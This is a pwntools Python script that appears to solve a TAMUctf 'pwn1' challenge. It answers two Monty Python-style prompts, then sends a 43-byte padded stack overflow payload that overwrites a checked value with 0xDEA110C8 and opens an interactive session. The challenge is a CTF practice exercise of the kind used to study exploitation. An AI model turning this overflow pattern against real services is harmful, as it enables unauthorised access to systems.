from pwn import * sh = remote("pwn.tamuctf.com", 4321) sh.sendline("Sir Lancelot of Camelot") sh.sendline("To seek the Holy Grail.") pld = 'a' * 43 + p32(0xDEA110C8) sh.sendline(pld) sh.interactive()